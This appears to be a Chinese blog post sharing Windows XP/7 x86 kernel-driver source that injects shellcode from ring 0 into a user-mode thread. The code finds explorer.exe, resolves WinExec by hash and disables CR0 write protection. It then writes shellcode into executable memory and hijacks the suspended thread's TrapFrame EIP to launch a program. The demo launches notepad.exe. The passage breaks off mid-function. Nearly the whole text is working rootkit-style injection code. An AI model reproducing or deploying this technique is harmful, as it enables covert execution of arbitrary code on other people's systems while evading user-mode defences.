Ring0 运行 Ring3 应用程序 初始版

代码来源网络,初步修改代码后实现win7 x86 sys启动 notepad.exe

技术要点:1.获取 KeResumeThread和NtSuspendThread的地址

主要代码:
/***************************************************************************************

*
*    模块: InjectRing3 [sys module]
*
*    平台: Windows XP SP2/sp3/ win7 sp1
*
*    描述:
*           Ring0 注入 Ring3 的一种新方法。
*           挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。
*
*
****************************************************************************************/


#ifndef _PROCESS_H_
#define _PROCESS_H_

#include "ntifs.h"
#include <WINDEF.H>
#include <ntimage.h>


#define ProcessBasicInformation 0
#define SystemProcessesAndThreadsInformation 5
#define SystemModuleInformation 11 // SYSTEMINFOCLASS

#define WINDOWS_VERSION_NONE        0
#define WINDOWS_VERSION_2K          1
#define WINDOWS_VERSION_XP          2
#define WINDOWS_VERSION_2K3         3
#define WINDOWS_VERSION_2K3_SP1       4
#define WINDOWS_VERSION_VISTA       5
#define WINDOWS_VERSION_WIN7        6




//线程链表偏移地址
#define BASE_PROCESS_PEB_OFFSET_2K                0//NT5.0.2195.7133
#define BASE_PROCESS_PEB_OFFSET_XP                0x01B0//NT5.1.2600.3093
#define BASE_PROCESS_PEB_OFFSET_2K3               0//nt5.2.3790.0
#define BASE_PROCESS_PEB_OFFSET_2K3_SP1             0//nt5.2.3790.1830
#define BASE_PROCESS_PEB_OFFSET_VISTA             0
#define BASE_PROCESS_PEB_OFFSET_WIN7              0x01a8 //win7

#define BASE_PROCESS_NAME_OFFSET_2K               0x01FC//NT5.0.2195.7133
#define BASE_PROCESS_NAME_OFFSET_XP               0x0174//NT5.1.2600.3093
#define BASE_PROCESS_NAME_OFFSET_2K3              0x0154//nt5.2.3790.0
#define BASE_PROCESS_NAME_OFFSET_2K3_SP1            0x0164//nt5.2.3790.1830
#define BASE_PROCESS_NAME_OFFSET_VISTA              0x014c
#define BASE_PROCESS_NAME_OFFSET_WIN7             0x016c  //win7

#define BASE_PROCESS_FLINK_OFFSET_2K              0//NT5.0.2195.7133
#define BASE_PROCESS_FLINK_OFFSET_XP              0x0088//NT5.1.2600.3093
#define BASE_PROCESS_FLINK_OFFSET_2K3             0//NT5.2.3790.0
#define BASE_PROCESS_FLINK_OFFSET_2K3_SP1           0//nt5.2.3790.1830
#define BASE_PROCESS_FLINK_OFFSET_VISTA             0
#define BASE_PROCESS_FLINK_OFFSET_WIN7              0x00b8//win7

//ThreadListEntry偏移
#define BASE_KTHREAD_LIST_OFFSET_2K               0
#define BASE_KTHREAD_LIST_OFFSET_XP               0x22c
#define BASE_KTHREAD_LIST_OFFSET_2K3              0
#define BASE_KTHREAD_LIST_OFFSET_2K3_SP1            0
#define BASE_KTHREAD_LIST_OFFSET_WIN7             0x268

#define BASE_KTHREAD_SuspendCount_OFFSET_2K           0
#define BASE_KTHREAD_SuspendCount_OFFSET_XP           0x1b9
#define BASE_KTHREAD_SuspendCount_OFFSET_2K3          0
#define BASE_KTHREAD_SuspendCount_OFFSET_2K3_SP1        0
#define BASE_KTHREAD_SuspendCount_OFFSET_WIN7         0x188//win7

#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K         0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_XP         0x248
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3        0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3_SP1      0
#define BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7       0x280

//KTHREAD中的Cid偏移
#define BASE_KTHREAD_Cid_OFFSET_XP                0x1ec
#define BASE_KTHREAD_Cid_OFFSET_WIN7              0x22c

//KTHREAD中的TrapFrame_偏移
#define BASE_KTHREAD_TrapFrame_OFFSET_XP            0x134
#define BASE_KTHREAD_TrapFrame_OFFSET_WIN7            0x128

//_EPROCESS中的ThreadListHead偏移
#define BASE_PROCESS_ThreadListHead_OFFSET_XP         0x190
#define BASE_PROCESS_ThreadListHead_OFFSET_WIN7         0x188

//_EPROCESS中的Pid偏移
#define BASE_PROCESS_Pid_OFFSET_XP                0x84 
#define BASE_PROCESS_Pid_OFFSET_WIN7              0xb4 


//_EPROCESS偏移汇总
typedef struct _EPROCESS_OFFSET
{
	WORD    wOffsetPeb;
	WORD    wOffsetName;
	WORD    wOffsetFlink;
	WORD    wOffsetResv;
	WORD  wOffsetThreadListHead;
	WORD  wOffsetPid;
}EPROCESS_OFFSET, *PEPROCESS_OFFSET, *LPEPROCESS_OFFSET;

//_KTHREAD偏移汇总
typedef struct _KTHREAD_OFFSET
{
	WORD    wOffsetThreadListEntry;
	WORD    wOffsetSuspendCount;
	WORD    wOffsetCrossThreadFlags;
	WORD  wOffsetCid;
	WORD  wOffsetTrapFrame;
}KTHREAD_OFFSET, *PKTHREAD_OFFSET, *LPKTHREAD_OFFSET;

//和关机操作又关的一些东西
//这里是Hook NtUserCallOneParam和Hook NtUserCallNoParam的东西
typedef struct _SHUTDOWN_PARAM
{
	WORD WinVer; //Windows版本
	LONG uRoutine;//关机的参数
	PEPROCESS Explorer_PE;//explorer.exe的_EPROCESS
}SHUTDOWN_PARAM, *PSHUTDOWN_PARAM;
SHUTDOWN_PARAM shutdown_param;

typedef struct ServiceDescriptorEntry {
	unsigned int *ServiceTableBase;
	unsigned int *ServiceCounterTableBase; //Used only in checked build
	unsigned int NumberOfServices;
	unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;;//SSDT
PServiceDescriptorTableEntry  ShadowKeServiceDescriptorTable;//ShadowSSDT


//global
EPROCESS_OFFSET g_EProcessOffset;
KTHREAD_OFFSET  g_KThreadOffset;
ULONG     g_WinExec;



#define SEC_IMAGE 0x1000000

typedef struct _SECTION_IMAGE_INFORMATION
{
	PULONG TransferAddress;
	ULONG ZeroBits;
	ULONG MaximumStackSize;
	ULONG CommittedStackSize;
	ULONG SubSysmtemType;
	USHORT SubSystemMinorVersion;
	USHORT SubSystemMajorVersion;
	ULONG GpValue;
	USHORT Imagecharacteristics;
	USHORT DllCharacteristics;
	USHORT Machine;
	UCHAR  ImageContainsCode;
	UCHAR  Spare1;
	ULONG LoaderFlags;
	ULONG ImageFileSize;
	ULONG Reserved;
}SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;

typedef struct _X86_KTRAP_FRAME {
	ULONG   DbgEbp;
	ULONG   DbgEip;
	ULONG   DbgArgMark;
	ULONG   DbgArgPointer;
	ULONG   TempSegCs;
	ULONG   TempEsp;
	ULONG   Dr0;
	ULONG   Dr1;
	ULONG   Dr2;
	ULONG   Dr3;
	ULONG   Dr6;
	ULONG   Dr7;
	ULONG   SegGs;
	ULONG   SegEs;
	ULONG   SegDs;
	ULONG   Edx;
	ULONG   Ecx;
	ULONG   Eax;
	ULONG   PreviousPreviousMode;
	ULONG   ExceptionList;
	ULONG   SegFs;
	ULONG   Edi;
	ULONG   Esi;
	ULONG   Ebx;
	ULONG   Ebp;
	ULONG   ErrCode;
	ULONG   Eip;
	ULONG   SegCs;
	ULONG   EFlags;
	ULONG   HardwareEsp;
	ULONG   HardwareSegSs;
	ULONG   V86Es;
	ULONG   V86Ds;
	ULONG   V86Fs;
	ULONG   V86Gs;
} X86_KTRAP_FRAME, *PX86_KTRAP_FRAME;

typedef struct _MODULE_ENTRY {
	LIST_ENTRY le_mod;
	ULONG  unknown[4];
	ULONG  base;
	ULONG  driver_start;
	ULONG  unk1;
	UNICODE_STRING driver_Path;
	UNICODE_STRING driver_Name;
	//.......
} MODULE_ENTRY, *PMODULE_ENTRY;


typedef
NTSTATUS
(__stdcall *
pfnZwSuspendThread)(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);

pfnZwSuspendThread KeSuspendThread = NULL;
pfnZwSuspendThread KeResumeThread = NULL;





VOID WPOFF()
{
	__asm
	{
		cli
			mov eax, cr0
			and eax, ~10000h
			mov cr0, eax
	}
}

VOID WPON()
{
	__asm
	{
		mov eax, cr0
			or eax, 10000h
			mov cr0, eax
			sti
	}
}




/************************************************************************/
/*        win7下搜索kernel32.dll中的 WinExec地址
*/
/************************************************************************/
ULONG
SearchApiWin7(WORD api_hash)
/*
*    在kern32.dll中搜索指定API地址
*    Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
*/
{
	//搜索k32dll的API地址
	PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
	PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
	PLIST_ENTRY pTempList = pCurrentList;
	PEPROCESS pEProcess = NULL;

	do {
		PPEB peb = NULL;
		PUCHAR lpname = NULL;

		pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
		peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
		lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;


		KdPrint(("process %s\n", lpname));

		if ((peb != NULL)
			&& (_strnicmp(lpname, "explorer.exe", 8) == 0))    //不区分大小写
		{
			ULONG api_addr = 0;

			shutdown_param.Explorer_PE = pEProcess; //记录explorer进程指针
			KeAttachProcess((PKPROCESS)pEProcess);//附加进程


			_asm
			{
				mov eax, peb;
				mov eax, [eax + 0x0c];//ldr
				mov esi, [eax + 0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
				mov esi, [esi]//win7要加这一句
					lodsd;                //eax = [esi];
				mov ebx, [eax + 0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY

				//now get pe image infos to find LoadLibrary and GetProcAddress API
				//assert ebx is the pe image base!!!

				mov ax, api_hash;        //Hash(LoadLibraryA) = 0xae14
				//Hash(WinExec) = 0x72dc
				//call search_api;
				//mov [ebp-4], eax;    //this is LoadLibraryA API

				//------------------------------------------------------------------------------
				//ebx-PE Image Base,eax-hash of api name, return eax!!!
				//------------------------------------------------------------------------------
				//search_api:
				mov edx, eax;
				mov eax, [ebx + 0x3c];        //File address of the new exe header
				mov eax, [eax + ebx + 0x78];    //pe base ->data directory[16]
				add eax, ebx;                //get directory[0] Address ->export table ->eax
				mov esi, [eax + 0x20];        //get export funs names rva
				add esi, ebx;                //esi->export names table address
				//mov ecx, [eax+0x18];        //get export funs numbers

				xor ecx, ecx;
				//search funs name tables
			next_api:

				mov edi, [esi + ecx * 4];        //
				add edi, ebx;

				//-----------------------------------
				//计算[edi]字符串的hash值
				//-----------------------------------
				pushad;
				xor eax, eax;
			cacul_next:
				shl eax, 2;
				movzx ecx, byte ptr[edi];
				add ax, cx;
				inc edi;
				inc ecx;
				loop cacul_next;
				//test edx!!!
				cmp ax, dx;
				jz search_end;

				popad;
				inc ecx;
				jmp next_api;

			search_end:
				popad;
				//ecx is the GetProcAdress index
				mov eax, [eax + 0x1c];
				add eax, ebx;
				mov eax, [eax + 4 * ecx];
				add eax, ebx;
				mov api_addr, eax;
				//ret;
			}
			KdPrint(("%08x\n", api_addr));

			KeDetachProcess();
			return api_addr;
		}
		pTempList = pTempList->Flink;
	} while (pCurrentList != pTempList);
	return 0;
}

/************************************************************************/
/*        winxp下搜索kernel32.dll中的 WinExec地址
*/
/************************************************************************/
ULONG
SearchApiXp(WORD api_hash)
/*
*    在kern32.dll中搜索指定API地址
*    Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
*/
{
	//搜索k32dll的API地址
	PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
	PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
	PLIST_ENTRY pTempList = pCurrentList;
	PEPROCESS pEProcess = NULL;

	do
	{
		PPEB peb = NULL;
		PUCHAR lpname = NULL;

		pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
		peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
		lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;


		KdPrint(("process %s\n", lpname));

		if ((peb != NULL)
			&& (_strnicmp(lpname, "explorer.exe", 8) == 0))    //不区分大小写
		{
			ULONG api_addr = 0;

			//g_EProcessWinlogon = pEProcess;    //记录winlogon进程指针
			shutdown_param.Explorer_PE = pEProcess;
			KeAttachProcess((PKPROCESS)pEProcess);


			_asm
			{
				mov eax, peb;
				mov eax, [eax + 0x0c];//ldr
				mov esi, [eax + 0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
				lodsd;                //eax = [esi];
				mov ebx, [eax + 0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY

				//now get pe image infos to find LoadLibrary and GetProcAddress API
				//assert ebx is the pe image base!!!

				mov ax, api_hash;        //Hash(LoadLibraryA) = 0xae14
				//Hash(WinExec) = 0x72dc
				//call search_api;
				//mov [ebp-4], eax;    //this is LoadLibraryA API

				//------------------------------------------------------------------------------
				//ebx-PE Image Base,eax-hash of api name, return eax!!!
				//------------------------------------------------------------------------------
				//search_api:
				mov edx, eax;
				mov eax, [ebx + 0x3c];        //File address of the new exe header
				mov eax, [eax + ebx + 0x78];    //pe base ->data directory[16]
				add eax, ebx;                //get directory[0] Address ->export table ->eax
				mov esi, [eax + 0x20];        //get export funs names rva
				add esi, ebx;                //esi->export names table address
				//mov ecx, [eax+0x18];        //get export funs numbers

				xor ecx, ecx;
				//search funs name tables
			next_api:

				mov edi, [esi + ecx * 4];        //
				add edi, ebx;

				//-----------------------------------
				//计算[edi]字符串的hash值
				//-----------------------------------
				pushad;
				xor eax, eax;
			cacul_next:
				shl eax, 2;
				movzx ecx, byte ptr[edi];
				add ax, cx;
				inc edi;
				inc ecx;
				loop cacul_next;
				//test edx!!!
				cmp ax, dx;
				jz search_end;

				popad;
				inc ecx;
				jmp next_api;

			search_end:
				popad;
				//ecx is the GetProcAdress index
				mov eax, [eax + 0x1c];
				add eax, ebx;
				mov eax, [eax + 4 * ecx];
				add eax, ebx;
				mov api_addr, eax;
				//ret;
			}
			KdPrint(("%08x\n", api_addr));

			KeDetachProcess();
			return api_addr;
		}
		pTempList = pTempList->Flink;
	} while (pCurrentList != pTempList);
	return 0;
}


/************************************************************************/
/*          获取WINDOWS版本
通过ImageName偏移来判断
*/
/************************************************************************/

WORD GetWindowsVersion()
{
	PEPROCESS pSystemProcess = PsGetCurrentProcess();
	WORD offset;
	for (offset = 0; offset < PAGE_SIZE; offset++)
	{
		if (strncmp("System", (PCHAR)pSystemProcess + offset, 6) == 0)
		{
			g_EProcessOffset.wOffsetName = offset;
			KdPrint(("%08x", offset));
			switch (offset)
			{
			case BASE_PROCESS_NAME_OFFSET_2K:
				KdPrint(("WINDOWS_VERSION_2K\n"));
				return WINDOWS_VERSION_2K;
				break;
			case BASE_PROCESS_NAME_OFFSET_XP:
				KdPrint(("WINDOWS_VERSION_XP\n"));
				return WINDOWS_VERSION_XP;
				break;
			case BASE_PROCESS_NAME_OFFSET_2K3:
				KdPrint(("WINDOWS_VERSION_2K3\n"));
				return WINDOWS_VERSION_2K3;
				break;
			case BASE_PROCESS_NAME_OFFSET_2K3_SP1:
				KdPrint(("WINDOWS_VERSION_2K3_SP1\n"));
				return WINDOWS_VERSION_2K3_SP1;
				break;
			case BASE_PROCESS_NAME_OFFSET_VISTA:
				KdPrint(("WINDOWS_VERSION_VISTA\n"));
				return WINDOWS_VERSION_VISTA;
				break;
			case BASE_PROCESS_NAME_OFFSET_WIN7:
				KdPrint(("WINDOWS_VERSION_WIN7\n"));
				return WINDOWS_VERSION_WIN7;
				break;
			default:
				return WINDOWS_VERSION_NONE;
			}
		}
	}
	return WINDOWS_VERSION_NONE;
}


/************************************************************************/
/*            根据WINDOWS平台
初始化一些偏移,根据偏移得到Win32 API的地址(WinExec)
这里只对WINXP 和 WIN7进行了处理
*/
/************************************************************************/
BOOLEAN InitEProcessInfo()
{
	switch (GetWindowsVersion())
	{
	case WINDOWS_VERSION_2K:
		g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K;
		g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K;

		g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K;
		//    g_KThreadOffset.wOffsetAlertable      = BASE_KTHREAD_ALERTABLE_OFFSET_2K;
		//    g_KThreadOffset.wOffsetApcState       = BASE_KTHREAD_APCSTATE_OFFSET_2K;
		break;
	case WINDOWS_VERSION_XP:
		g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_XP;
		g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_XP;
		g_EProcessOffset.wOffsetThreadListHead = BASE_PROCESS_ThreadListHead_OFFSET_XP;
		g_EProcessOffset.wOffsetName = BASE_PROCESS_NAME_OFFSET_XP;
		g_EProcessOffset.wOffsetPid = BASE_PROCESS_Pid_OFFSET_XP;

		g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_XP;
		g_KThreadOffset.wOffsetSuspendCount = BASE_KTHREAD_SuspendCount_OFFSET_XP;
		g_KThreadOffset.wOffsetCrossThreadFlags = BASE_KTHREAD_CrossThreadFlags_OFFSET_XP;
		g_KThreadOffset.wOffsetCid = BASE_KTHREAD_Cid_OFFSET_XP;
		g_KThreadOffset.wOffsetTrapFrame = BASE_KTHREAD_TrapFrame_OFFSET_XP;

		shutdown_param.uRoutine = 0x34;
		shutdown_param.WinVer = WINDOWS_VERSION_XP;
		//搜索API
		__try
		{
			g_WinExec = SearchApiXp(0x72dc);
		}
		__except (EXCEPTION_EXECUTE_HANDLER)
		{
			return FALSE;
		}
		break;
	case WINDOWS_VERSION_2K3:
		g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K3;
		g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K3;

		g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K3;
		//    g_KThreadOffset.wOffsetAlertable      = BASE_KTHREAD_ALERTABLE_OFFSET_2K3;
		//    g_KThreadOffset.wOffsetApcState       = BASE_KTHREAD_APCSTATE_OFFSET_2K3;
		break;
	case WINDOWS_VERSION_2K3_SP1:
		g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K3_SP1;
		g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K3_SP1;

		g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K3_SP1;
		//    g_KThreadOffset.wOffsetAlertable      = BASE_KTHREAD_ALERTABLE_OFFSET_2K3_SP1;
		//    g_KThreadOffset.wOffsetApcState       = BASE_KTHREAD_APCSTATE_OFFSET_2K3_SP1;
		break;
	case WINDOWS_VERSION_WIN7:
		g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_WIN7;
		g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_WIN7;
		g_EProcessOffset.wOffsetThreadListHead = BASE_PROCESS_ThreadListHead_OFFSET_WIN7;
		g_EProcessOffset.wOffsetName = BASE_PROCESS_NAME_OFFSET_WIN7;
		g_EProcessOffset.wOffsetPid = BASE_PROCESS_Pid_OFFSET_WIN7;

		g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_WIN7;
		g_KThreadOffset.wOffsetSuspendCount = BASE_KTHREAD_SuspendCount_OFFSET_WIN7;
		g_KThreadOffset.wOffsetCrossThreadFlags = BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7;
		g_KThreadOffset.wOffsetCid = BASE_KTHREAD_Cid_OFFSET_WIN7;
		g_KThreadOffset.wOffsetTrapFrame = BASE_KTHREAD_TrapFrame_OFFSET_WIN7;

		shutdown_param.uRoutine = 0x10;
		shutdown_param.WinVer = WINDOWS_VERSION_WIN7;
		//搜索API
		__try
		{
			g_WinExec = SearchApiWin7(0x72dc);
		}
		__except (EXCEPTION_EXECUTE_HANDLER)
		{
			return FALSE;
		}
		break;
	default:
		KdPrint(("OS not support!\n"));
		return TRUE;
	}
	return TRUE;
}


/************************************************************************/
/*          获取SSDT服务函数索引号
*/
/************************************************************************/
DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName)
{
	HANDLE hThread, hSection, hFile, hMod;
	SECTION_IMAGE_INFORMATION sii;
	IMAGE_DOS_HEADER* dosheader;
	IMAGE_OPTIONAL_HEADER* opthdr;
	IMAGE_EXPORT_DIRECTORY* pExportTable;
	DWORD* arrayOfFunctionAddresses;
	DWORD* arrayOfFunctionNames;
	WORD* arrayOfFunctionOrdinals;
	DWORD functionOrdinal;
	DWORD Base, x, functionAddress;
	char* functionName;
	STRING ntFunctionName, ntFunctionNameSearch;
	PVOID BaseAddress = NULL;
	SIZE_T size = 0;

	OBJECT_ATTRIBUTES oa = { sizeof oa, 0, pDllName, OBJ_CASE_INSENSITIVE };

	IO_STATUS_BLOCK iosb;

	//_asm int 3;
	ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);

	oa.ObjectName = 0;

	ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0, PAGE_EXECUTE, SEC_IMAGE, hFile);

	ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 1000, 0, &size, (SECTION_INHERIT)1, MEM_TOP_DOWN, PAGE_READWRITE);

	ZwClose(hFile);

	//BaseAddress = GetModlueBaseAdress("ntoskrnl.exe");

	hMod = BaseAddress;

	dosheader = (IMAGE_DOS_HEADER *)hMod;

	opthdr = (IMAGE_OPTIONAL_HEADER *)((BYTE*)hMod + dosheader->e_lfanew + 24);

	pExportTable = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hMod + opthdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

	// now we can get the exported functions, but note we convert from RVA to address
	arrayOfFunctionAddresses = (DWORD*)((BYTE*)hMod + pExportTable->AddressOfFunctions);

	arrayOfFunctionNames = (DWORD*)((BYTE*)hMod + pExportTable->AddressOfNames);

	arrayOfFunctionOrdinals = (WORD*)((BYTE*)hMod + pExportTable->AddressOfNameOrdinals);

	Base = pExportTable->Base;

	RtlInitString(&ntFunctionNameSearch, lpFunctionName);

	for (x = 0; x < pExportTable->NumberOfFunctions; x++)
	{
		functionName = (char*)((BYTE*)hMod + arrayOfFunctionNames[x]);

		RtlInitString(&ntFunctionName, functionName);

		functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; // always need to add base, -1 as array counts from 0
		// this is the funny bit.  you would expect the function pointer to simply be arrayOfFunctionAddresses[x]...
		// oh no... thats too simple.  it is actually arrayOfFunctionAddresses[functionOrdinal]!!
		functionAddress = (DWORD)((BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
		if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == 0)
		{
			//ZwClose(hSection);
			return functionAddress;
		}
	}

	//ZwClose(hSection);
	return 0;
}

/************************************************************************/
/*          获取SSDT函数的地址
*/
/************************************************************************/

PVOID GetSSDTApi(PCHAR ApiName)
{
	UNICODE_STRING dllName;
	DWORD functionAddress;
	int    position;

	RtlInitUnicodeString(&dllName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
	__try
	{
		functionAddress = GetDllFunctionAddress(ApiName, &dllName);
	}
	__except (EXCEPTION_EXECUTE_HANDLER)
	{

	}

	position = *((WORD*)(functionAddress + 1));

	return (PVOID)*((PULONG)(KeServiceDescriptorTable->ServiceTableBase) + position);
}


//
//  被注入到ring3进程的代码
//


// 2F1D159C >    50            push eax                                 
// 2F1D159D      B8 FDE51E76   mov eax,0x761EE5FD WinExec
// 2F1D15A2      6A 01         push 0x1
// 2F1D15A4      68 FFFFFF7F   push 0x7FFFFFFF //C:\\1.exe
// 2F1D15A9      FFD0          call eax       // call WinExec                       
// 2F1D15AB      58            pop eax                                  

/************************************************************************/
/*            ShellCode
call WinExec
*/
/************************************************************************/
_declspec (naked) void ShellCode() {
	_asm {
		push eax
			// WinExec
			mov eax, 0x761ee5fd    //B8 4D 11 86 7C
			push 1                //6A 01
			push 0x7fffffff        //68 FF FF FF 7F
			call eax            //FF D0
			pop eax
			// jmp ds:12345678H, 绝对地址跳转
			_emit 0xEA
			_emit 0x78
			_emit 0x56
			_emit 0x34
			_emit 0x12
			_emit 0x1B //段选择子
			_emit 0x00

			//运行的路径 40个字节
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
			_emit 0x00
	}
}


///
//
//  查找ZwSuspendThread和ZwResumeThread
//
///
ULONG FindFunc()
{
	KeSuspendThread = (pfnZwSuspendThread)GetSSDTApi("ZwSuspendThread");
	KeResumeThread = (pfnZwSuspendThread)GetSSDTApi("ZwResumeThread");
	if (KeSuspendThread &&
		KeResumeThread)
		return TRUE;
	return FALSE;

}

///
//
//  注入ShellCode到线程,分配内存来拷贝ShellCode
//
///
VOID InjectShellCode(PETHREAD pThread, PEPROCESS pProcess) {
	ULONG i;
	PX86_KTRAP_FRAME pTrapFrame;
	PCLIENT_ID  pCid;
	OBJECT_ATTRIBUTES oa;
	HANDLE hProcess;
	NTSTATUS ntstatus;
	PVOID lpTargetPath = NULL;
	char *path;
	ULONG pathAddr;
	DbgPrint("Inject Start\n");

	// 在try块中挂起线程,看WRK发现SuspendThread失败时会抛异常
	__try {
		KeSuspendThread(pThread, NULL);
	}
	__except (1) {
		return;
	}

	// PTrapFrame中就是该线程的各个寄存器的值
	pTrapFrame = *(PX86_KTRAP_FRAME*)((ULONG)pThread + g_KThreadOffset.wOffsetTrapFrame);

	// 将ShellCode中的0x12345678改成eip,为了ShellCode执行完后自动跳回
	for (i = (ULONG)ShellCode; i <= (ULONG)ShellCode + 0x20; ++i) {
		if (MmIsAddressValid((PVOID)i) && MmIsAddressValid((PVOID)(i + 3))){
			if (*(PULONG)i == 0x12345678)
			{
				DbgPrint("find modify point\n");
				WPOFF();
				*(PULONG)i = pTrapFrame->Eip;
				WPON();
				break;
			}
		}
	}

	WPOFF();
	lpTargetPath = (PVOID)((ULONG)ShellCode + 24);
	memcpy((PUCHAR)(ULONG)ShellCode + 2, &g_WinExec, 4);            //填写winexec地址
	memset(lpTargetPath, 0, 40);                                //
	WPON();

	// 下面的代码是分配空间来放置ShellCode
	// 调用一些相应函数来实现更好,我比较懒,就硬编码了
	InitializeObjectAttributes(&oa, 0, 0, 0, 0);
	pCid = (CLIENT_ID*)((ULONG)pThread + /*0x1ec*/g_KThreadOffset.wOffsetCid);    // Cid  XP SP2
	ntstatus = ZwOpenProcess(
		&hProcess,
		PROCESS_ALL_ACCESS,
		&oa,
		pCid
		);
	if (NT_SUCCESS(ntstatus))
	{
		PVOID pBuff = NULL;
		SIZE_T size = 0x64;
		ntstatus = ZwAllocateVirtualMemory(
			hProcess,
			&pBuff,
			0,
			&size,
			MEM_RESERVE | MEM_COMMIT,
			PAGE_EXECUTE_READWRITE
			);
		if (NT_SUCCESS(ntstatus))
		{
			KAPC_STATE kapc;
			// 拷贝ShellCode到目标进程中去
			KeStackAttachProcess((PRKPROCESS)pProcess, &kapc);

			RtlCopyMemory(pBuff, ShellCode, size);//先拷贝ShellCode过去
			path = "c:\\windows\\notepad.exe";// "C:\\tool\\dd2.exe";
			pathAddr = ((ULONG)pBuff + 24);
			RtlCopyMemory((PVOID)((ULONG)pBuff + 24), path, strlen(path));//填写运行的路径 path
			RtlCopyMemory((PVOID)((ULONG)pBuff + 9), &pathAddr, 4);//填写路径的地址

			KeUnstackDetachProcess(&kapc);
			// pTrapFrame->Eip指向ShellCode
			pTrapFrame->Eip = (ULONG)pBuff;
		}
		ZwClose(hProcess);
	}
	// 恢复线程执行
	KeResumeThread(pThread, NULL);
	DbgPrint("Inject End\n");
}



//
//  注入ShellCode到进程
//

#define PS_CROSS_THREAD_FLAGS_SYSTEM 0x00000010UL 
#define IS_SYSTEM_THREAD(Thread) ((((Thread)+0x280)&PS_CROSS_THREAD_FLAGS_SYSTEM) != 0)
BOOLEAN Inject(char* strProc, int len)
{
	PEPROCESS pProcess;
	PETHREAD pThread;
	PLIST_ENTRY pListHead, pNextEntry;
	PLIST_ENTRY pThListHead, pThNextEntry;
	UCHAR SuspendCount;
	ULONG CrossThreadFlags;
	char * pName = NULL;

	pProcess = PsGetCurrentProcess();
	pListHead = (PLIST_ENTRY)((ULONG)pProcess + g_EProcessOffset.wOffsetFlink); //0x88  //ActiveProcessLinks
	pNextEntry = pListHead;

	// 先找到要注入的进程,通过ZwQuerySystemInformation来查找更稳定一些
	// 不过本人很讨厌那个繁琐的函数……
	do
	{
		pProcess = (PEPROCESS)((ULONG)pNextEntry - g_EProcessOffset.wOffsetFlink/*0x88*/);
